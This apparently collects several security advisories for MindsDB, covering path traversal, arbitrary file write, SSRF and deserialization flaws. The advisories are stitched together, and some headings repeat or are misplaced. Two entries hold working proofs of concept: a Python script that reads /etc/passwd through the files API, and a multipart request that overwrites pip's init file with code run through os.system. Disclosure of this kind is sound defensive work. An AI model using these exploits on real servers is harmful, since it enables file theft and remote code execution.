Summary An unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data. Severity: High.

Details The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and sourcetype is not "url":

- data = request.json (line ~104) accepts attacker input without validation. - filepath = os.path.join(tempdirpath, data["file"]) (line ~178) creates the path inside a temporary directory, but if data["file"] is absolute (e.g., /home/secret.csv), os.path.join ignores tempdirpath and targets the attacker-specified location. - The resulting path is handed to ca.filecontroller.savefile(...), which wraps FileReader(path=sourcepath) (mindsdb/interfaces/file/filecontroller.py:66), causing the application to read the contents of that arbitrary file. The subsequent shutil.move(filepath, ...) call also relocates the victim file into MindsDB’s managed storage.

Only multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to clearfilename or equivalent checks.

PoC 1. Run MindsDB in Docker: bash docker pull mindsdb/mindsdb:latest docker run --rm -it -p 47334:47334 --name mindsdb-poc mindsdb/mindsdb:latest 2. Execute the exploit from the host (save as poc.py and run with python poc.py): python # poc.py import requests, json

base = "http://127.0.0.1:47334" payload = {"file": "../../../../../etc/passwd"} # no sourcetype -> hits vulnerable branch

r = requests.put(f"{base}/api/files/leakrel", json=payload, timeout=10) print("PUT status:", r.statuscode, r.text)

q = requests.post( f"{base}/api/sql/query", json={"query": "SELECT FROM files.leakrel"}, timeout=10, ) print("SQL response:", json.dumps(q.json(), indent=2)) 3. The SQL response returns the contents of /etc/passwd . The original file disappears from its source location because the handler moves it into MindsDB’s storage directory.

Impact - Any user able to reach the REST API can read and exfiltrate arbitrary files that the MindsDB process can access, potentially including credentials, configuration secrets, and private keys.

Impact

Issue: Arbitrary file write in file.py (GHSL-2023-183)

Patches

Use mindsdb staging branch or v23.11.4.1

Summary

There is a path traversal vulnerability in Mindsdb's /api/files interface, which an authenticated attacker can exploit to achieve remote command execution.

Details

The vulnerability exists in the "Upload File" module, which corresponds to the API endpoint /api/files. The affected code is located at mindsdb/api/http/namespaces/file.py: python @nsconf.route("/<name>") @nsconf.param("name", "MindsDB's name for file") class File(Resource): @nsconf.doc("putfile") @apiendpointmetrics('PUT', '/files/file') def put(self, name: str): """add new file params in FormData: - file - originalfilename [optional] """

data = {} mindsdbfilename = name

existingfilenames = ca.filecontroller.getfilesnames()

def onfield(field): name = field.fieldname.decode() value = field.value.decode() data[name] = value

fileobject = None

def onfile(file): nonlocal fileobject data["file"] = file.filename.decode() fileobject = file.fileobject

tempdirpath = tempfile.mkdtemp(prefix="mindsdbfile")

if request.headers["Content-Type"].startswith("multipart/form-data"): parser = multipart.createformparser( headers=request.headers, onfield=onfield, onfile=onfile, config={ "UPLOADDIR": tempdirpath.encode(), # bytes required "UPLOADKEEPFILENAME": True, "UPLOADKEEPEXTENSIONS": True, "MAXMEMORYFILESIZE": 0, }, )

while True: chunk = request.stream.read(8192) if not chunk: break parser.write(chunk) parser.finalize() parser.close()

if fileobject is not None: if not fileobject.closed: try: fileobject.flush() except (AttributeError, ValueError, OSError): logger.debug("Failed to flush fileobject before closing.", excinfo=True) fileobject.close() fileobject = None else: data = request.json Since the multipart file upload does not perform security checks on the uploaded file path, an attacker can perform path traversal by using ../ sequences in the filename field. The file write operation occurs before calling clearfilename and savefile, meaning there is no filtering of filenames or file types, allowing arbitrary content to be written to any path on the server.

PoC

This vulnerability can be exploited to overwrite existing executable files, which retain their executable permissions after being overwritten. In addition to conventional file upload exploitation methods, we provide a way to achieve Remote Code Execution (RCE) by leveraging MindsDB's own functionality.

The API endpoint /<handlername>/install is used to install handlers, which internally calls installdependencies to install dependencies via pip. This function executes pip using subprocess.Popen. Therefore, an attacker can:

1. Exploit the vulnerability to overwrite /venv/lib/python3.10/site-packages/pip/init.py with a malicious Python script. 2. Trigger the execution of the malicious script by calling /<handlername>/install, which invokes pip. Exploit： PUT /api/files/mm HTTP/1.1 Host: ip:47334 Content-Length: 579 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10157) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept: application/json, text/plain, / Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv9dZC0cAHLlHSHD9 Origin: http://ip:47334 Referer: http://ip:47334/fileUpload Accept-Encoding: gzip, deflate, br Accept-Language: zh,en;q=0.9,zh-CN;q=0.8 Cookie: bid=87948125-5042-4fc8-a692-9cbf71e387be Connection: keep-alive

------WebKitFormBoundaryv9dZC0cAHLlHSHD9 Content-Disposition: form-data; name="name"

mm ------WebKitFormBoundaryv9dZC0cAHLlHSHD9 Content-Disposition: form-data; name="source"

mm ------WebKitFormBoundaryv9dZC0cAHLlHSHD9 Content-Disposition: form-data; name="sourcetype"

file ------WebKitFormBoundaryv9dZC0cAHLlHSHD9 Content-Disposition: form-data; name="file"; filename="../../../../../../venv/lib/python3.10/site-packages/pip/init.py" Content-Type: text/plain

import os os.system("touch /tmp/rcebyhacker") ------WebKitFormBoundaryv9dZC0cAHLlHSHD9-- After sending this request, you can observe the logs in Docker's output: 2025-05-30 02:26:52,432 http INFO pythonmultipart.multipart: Opening a file on disk 2025-05-30 02:26:52,433 http INFO pythonmultipart.multipart: Saving with filename in: b'/root/mdbstorage/tmp/mindsdbbyomfile89h0zcz0' 2025-05-30 02:26:52,433 http INFO pythonmultipart.multipart: Opening file: b'/root/mdbstorage/tmp/mindsdbbyomfile89h0zcz0/../../../../../../venv/lib/python3.10/site-packages/pip/init.py' At this point, you can see that the file has been successfully overwritten: root@e445c93b2fd5:/mindsdb# cat /venv/lib/python3.10/site-packages/pip/init.py import os os.system("touch /tmp/rcebyhacker") Afterwards, install any handler in the UI, and you will see that the file rcebyhacker is successfully created in the /tmp directory. The same result can also be achieved by sending an API request to trigger it.

Credit

This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine

If there are any questions regarding the vulnerability details, please feel free to reach out to MindsDB for further discussion at xlabai@tencent.com.

MindsDB through 26.1.0 contains a server-side request forgery vulnerability in the web crawler handler that allows unauthenticated attackers to fetch arbitrary URLs by supplying caller-controlled URLs to CrawlerTable.list. Attackers can bypass the allowlist control by exploiting the default empty configuration and access internal services and cloud metadata endpoints without authentication.

A security vulnerability has been detected in MindsDB up to 25.14.1. This vulnerability affects the function clearfilename of the file mindsdb/utilities/security.py of the component File Upload. Such manipulation leads to server-side request forgery. The attack may be performed from remote. The exploit has been disclosed publicly and may be used.

Impact

The put method in mindsdb/mindsdb/api/http/namespaces/file.py does not validate the user-controlled URL in the source variable and uses it to create arbitrary requests on line 115, which allows Server-side request forgery (SSRF). This issue may lead to Information Disclosure. The SSRF allows for forging arbitrary network requests from the MindsDB server. It can be used to scan nodes in internal networks for open ports that may not be accessible externally, as well as scan for existing files on the internal network. It allows for retrieving files with csv, xls, xlsx, json or parquet extensions, which will be viewable via MindsDB GUI. For any other existing files, it is a blind SSRF. Patches

Use mindsdb staging branch or v23.11.4.1

References

GHSL-2023-182 SSRF prevention cheatsheet.

A weakness has been identified in MindsDB up to 26.01. This impacts the function exec of the file mindsdb/integrations/handlers/byomhandler/procwrapper.py of the component Engine Handler. Executing a manipulation can lead to unrestricted upload. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

Impact

The put method in mindsdb/mindsdb/api/http/namespaces/file.py does not validate the user-controlled name value, which is used in a temporary file name, which is afterwards opened for writing on lines 122-125, which leads to path injection. This issue may lead to arbitrary file write. This vulnerability allows for writing files anywhere on the server that the filesystem permissions that the running server has access to.

Patches

Use mindsdb staging branch or v23.11.4.1

References

GHSL-2023-184 See CodeQL path injection prevention guidelines and OWASP guidelines.

A security vulnerability has been detected in MindsDB up to 26.01. Affected is the function pickle.loads of the component Pickle Handler. The manipulation leads to deserialization. The attack is possible to be carried out remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Three vulnerabilities that can be exploited by unauthenticated users were found in MindsDB: a Server-side request forgery (SSRF) vulnerability, an arbitrary file write vulnerability and a limited file write vulnerability.